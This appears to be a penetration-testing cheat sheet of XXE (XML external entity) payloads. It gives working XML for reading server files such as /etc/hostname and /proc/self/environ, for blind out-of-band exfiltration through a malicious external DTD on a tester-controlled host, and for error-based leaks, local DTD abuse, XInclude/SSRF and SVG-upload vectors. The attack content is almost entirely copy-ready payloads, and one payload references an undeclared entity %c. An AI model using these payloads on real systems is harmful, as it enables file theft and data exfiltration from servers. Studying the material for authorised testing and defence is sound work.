Skip to content

XXE payloads ​

Check for custom entity in response ​

Test every data node in the request with &xxe; and check if XXEVULN appears in the response (or error message):

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe "XXEVULN" > ]>
<anything>&xxe;</anything>

If this works, try to retrieve files via an external entity:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<anything>&xxe;</anything>

Known smaller files:

  • /etc/hostname
  • /etc/lsb-release (similar to /etc/os-release)

Interesting files:

  • /proc/self/environ
  • /proc/self/cmdline

Blind XXE: check remote interaction ​

Replace 127.0.0.1 with your (or your collaborator’s) IP address or hostname.

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/testfile" > ]>
<anything>&xxe;</anything>

You can spawn a simple HTTP server using python3 -m http.server 8080.
Alternatively: Burp Collaborator will show DNS queries so you can see if the XXE is executed.

Parameter entities may work when custom entities in the request body are blocked:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:8080/testfile"> %xxe; ]>
<anything></anything>

Exfiltrate files with external DTD ​

Spawn an HTTP server using python3 -m http.server 8080 and place the DTD with file name malicious.dtd there.
This DTD exfiltrates /etc/hostname from the server file system.

xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://127.0.0.1:8080/test?x=%file;'>">
%eval;
%exfiltrate;

Send your malicious XML to the server:

xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://127.0.0.1:8080/malicious.dtd"> %xxe; %c;]>
<anything></anything>

You need the external DTD to dynamically declare parameter entities within other parameter entities (not possible in internal DTD). %exfiltrate is only declared when %eval is used. Declaring it directly would fail because %file is only expanded after all declarations are parsed.

Retrieve file via error message and external DTD ​

Works when the server reports XML parser errors.

External DTD malicious.dtd (see Exfiltrate files with external DTD):

xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;

Send malicious XML to the server:

xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://127.0.0.1:8080/malicious.dtd"> %xxe;]>

The server won’t be able to find /invalid/{hostname_value} and may reveal it.

Exploiting a local DTD (error-based) ​

If external DTDs are blocked, it may be possible to use a DTD on the server and change an entity’s definition in the internal DTD. This loophole allows declaring encapsulated parameter entities in the internal DTD.

Identify whether the DTD is present:

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///path/to/common.dtd">
%local_dtd;
]>

If you receive an error message "FileNotFound", keep testing until a DTD is found and no error message appears.

Send the malicious XML to the server (replacing /usr/share/yelp/dtd/docbookx.dtd with the found DTD and ISOamso with a parameter entity in the DTD):

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/hostname">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Exploiting a local DTD with remote interaction ​

If the server does not allow external DTDs and doesn't show error messages, but remote interaction is possible, exfiltrate a file.

Identify local DTD (test common DTDs):

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % remote SYSTEM "http://collaborator.ex/">
%local_dtd;
%remote;
]>

The server will send a query to collaborator.ex if the DTD exists.

Exfiltration:

Replace /usr/share/yelp/dtd/docbookx.dtd with the local DTD, ISOamso with a parameter entity in the DTD and 127.0.0.1:8080 with your IP or hostname.

xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/hostname">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;http://127.0.0.1:8080/?x=&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

XInclude ​

Try this if request data is processed in a server-side XML document, but the request is not in an XML format. Because the request is not in an XML format you cannot declare <!DOCTYPE ...>.

Replace any data value in the request with:

xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hostname"/></foo>

Can also be combined with SSRF:

xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="http://publicserver.ex"/></foo>&storeId=1

XXE via file upload (SVG example) ​

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE dtd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="128" version="1.1" height="128"><text font-size="10" x="0" y="16">&xxe;</text></svg>

Tips ​

Try FTP instead of HTTP if file contents include illegal characters.

Further reading ​

PortSwigger Academy

Extensive payload cheat sheets

Local DTD discovery

Common DTDs